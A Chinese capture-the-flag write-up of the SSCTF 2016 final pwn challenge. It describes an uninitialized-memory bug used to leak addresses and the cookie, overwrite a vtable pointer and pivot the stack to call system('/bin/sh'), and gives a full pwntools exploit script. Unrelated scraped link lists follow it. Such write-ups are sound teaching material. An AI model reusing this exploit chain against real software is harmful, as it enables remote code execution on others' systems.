SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下。
和线上塞的题的背景一样,只不过洞不一样了。Checksec一样,发现各种防护措施都开了。

程序模拟了简单的堆的管理,以及cookie的保护机制。漏洞是一个内存未初始化漏洞,就是申请内存的时候,上一次的内存还未清0,这个时候通过构造特定输入可以使用内存中仍有的内容。这样的话,容易造成数组的越界读写。就是通过数组的越界读写将程序的基址,libc的基址,堆的基址,cookie都给泄露了出来。通过构造任意地址写,将虚表指针覆盖为gadget地址,顺利拿到shell。参考了炜师傅的writeup,http://ww9210.cn/2016/04/15/ssctf-2016-final-pwn-writeup/
顺便说一下,在Libc里setcontext,swapcontext中有很好用gadget用来stack pivot。

此外,直接用pwntools的话,好像并不能用来对full relro使用dynelf进行信息泄露,github上最新的我没有尝试,如果可以的话也请大家可以告诉我;有人对pwntools进行了改进,成为了binjitsu,可以用来对full relro的程序进行dynelf,不过还是依赖了libcdatabase。http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html 这一篇文章里介绍了进行信息泄露的两种方法,还没仔细看。
附上shell:

附上poc:
from pwn import *
import time
#by wangaohui
#context.log_level = 'debug'
exe = 'final1'
s= remote('127.0.0.1',10001,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!')
#getpid()
#alloc 12+3 items(align 8 byte,so 12+3+1)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(12):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #query
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
big_chunk = (int(data[1:])^0xffffffff) + 1 - 8
#print hex(big_chunk)
else:
big_chunk = int(data) -8
#print hex(big_chunk)
print 'big_chunk addr is: ' + hex(big_chunk)
s.recvuntil('Choose: ')
s.sendline('') #sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(3):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #reload
s.recvuntil('_CMD_$')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
random = ((int(data[1:])^0xffffffff) + 1)^3
#print hex(random)
else:
random = int(data)^3
#print hex(random)
print 'random is: ' + hex(random)
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
pvt = ((int(data[1:])^0xffffffff) + 1)
heap = ((int(data[1:])^0xffffffff) + 1) - 0xa8
#print hex(heap)
else:
pvt = int(data)
heap = int(data) - 0xa8
#print hex(heap)
print 'heap addr is: ' + hex(heap)
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(random^0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(3):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('')
start = (2+16+8+3)*4+big_chunk #items addr
if pvt>start:
index = (pvt-start)/4
else:
index = (pvt+0x100000000-start)/4
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
vt = ((int(data[1:])^0xffffffff) + 1)
else:
vt = int(data)
if vt>start:
index = (vt-start)/4
else:
index = (vt+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
if data.startswith('-'):
base = ((int(data[1:])^0xffffffff) + 1 - 0x1D50)
else:
base = int(data - 0x1d50)
print 'exe base is: ' + hex(base)
def leak(addr):
if addr>start:
index = (addr-start)/4
else:
index = (addr+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
if data.startswith('-'):
r = ((int(data[1:])^0xffffffff) + 1)
else:
r = int(data)
return p32(r)
d = DynELF(leak,pointer=base,elf=ELF('./final1'))
libc_base = d.lookup(None,'libc')
print 'libc_base is: ' + hex(libc_base)
#method 1
#e=d.libc
#str_binsh=(list(e.search('/bin/sh'))[0])
system= d.lookup('system','libc')
swapcontext = d.lookup('swapcontext','libc')
print 'swapcontext is: ' + hex(swapcontext)
pivot = swapcontext+(0x7f-0x10)
print 'system is: ' + hex(system) def update(addr,value):
if addr>start:
index = (addr-start)/4
else:
index = (addr+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
if value>0x7fffffff:
s.sendline(str(value-0x100000000))
else:
s.sendline(str(value)) redir = big_chunk + (2+16+16)*4 + 0x200
eax = big_chunk + (2+16+16)*4 + 0x300
esp = big_chunk + (2+16+16)*4 + 0x400
#method 2
binsh = 0x6e69622f #/bin
binsh1 = 0x68732f #/sh\x00
str_binsh = big_chunk + (2+16+16)*4 + 0x500
update(str_binsh,binsh)
update(str_binsh + 4,binsh1)
#method 2 end ecx = eax + 0x4c
pesp = eax + 0x30 update(redir,pivot)
update(pesp,esp)
update(esp+4,str_binsh)
update(ecx,system)
update(start-4,eax)
update(eax,redir) s.recvuntil('Choose: ')
s.sendline('')
s.interactive() s.close()
SSCTF Final PWN的更多相关文章
- CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- [零基础学IoT Pwn] 环境搭建
[零基础学IoT Pwn] 环境搭建 0x00 前言 这里指的零基础其实是我们在实战中遇到一些基础问题,再相应的去补充学习理论知识,这样起码不会枯燥. 本系列主要是利用网上已知的IoT设备(路由器)漏 ...
- java抽象、接口 和final
抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...
- Java内部类final语义实现
本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...
- Java关键字final、static
一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...
- JavaSE 之 final 初探
我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然. 1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- PHP的final关键字、static关键字、const关键字
在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...
- final修饰符
final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...
随机推荐
- Android开发 ADB server didn't ACK, failed to start daemon解决方案
有时候在打开ddms的时候,会看到adb会报如题的错误,解决方案是打开任务管理器,(ctrl+shift+esc),然后关掉adb.exe的进程,重启eclipse就ok了. 还有许多无良商家开发的垃 ...
- Unable to run mksdcard SDK tool.
Ubuntu 14.04,安装android studio后运行出错,sdk manager不能正常运行 Unable to run mksdcard SDK tool. 原因,缺少运行需要的库:li ...
- asp.net 追加文本(追加写入记事本)
代码: string path = Server.MapPath("/Log/Log.txt"); if (File.Exists(path)) { using (StreamWr ...
- 从C# String类理解Unicode(UTF8/UTF16)
上一篇博客:从字节理解Unicode(UTF8/UTF16).这次我将从C# code 中再一次阐述上篇博客的内容. C# 代码看UTF8 代码如下: string test = "UTF- ...
- Intellij Idea 创建Web项目入门(一)转
Intellij Idea 创建Web项目入门(一) 相关软件: Intellij Idea14:http://pan.baidu.com/s/1nu16VyD JDK7:http://pan.bai ...
- mongo db 使用方法
1 下载 mogodb http://www.mongodb.org/display/DOCS/Downloads 2 打开服务 我安装在e盘下了 可以指定数据文件位置 到 E:\mongoDB\mo ...
- java 读取并且显示 txt 文件
系统:mac os x 10.9 eclipse 在eclipse 中建立一个project, 命名为Cin_txt, Cin_txt的内容 test wang hello world 以下是输入的代 ...
- main()和_tmain()有什么区别
用过C的人都知道每一个C的程序都会有一个main(),但有时看别人写的程序发现主函数不是int main(),而是int _tmain(),而且头文件也不是<iostream.h>而是&l ...
- (转+原)ipp "No dlls were found in the Waterfall procedure"
转自: http://blog.csdn.net/hua_007/article/details/9112909 1,吧 dll的目录放到系统环境变量中 intel 的官方推荐.验证是ok的. --- ...
- Autorelease Pool-自动释放池
Autorelease Pool是Objective-C中的内存管理方式之一,它与线程和NSAutorelease类有关.每一个线程都拥有自己的Autorelease Pool栈,这个栈底层是由双向链 ...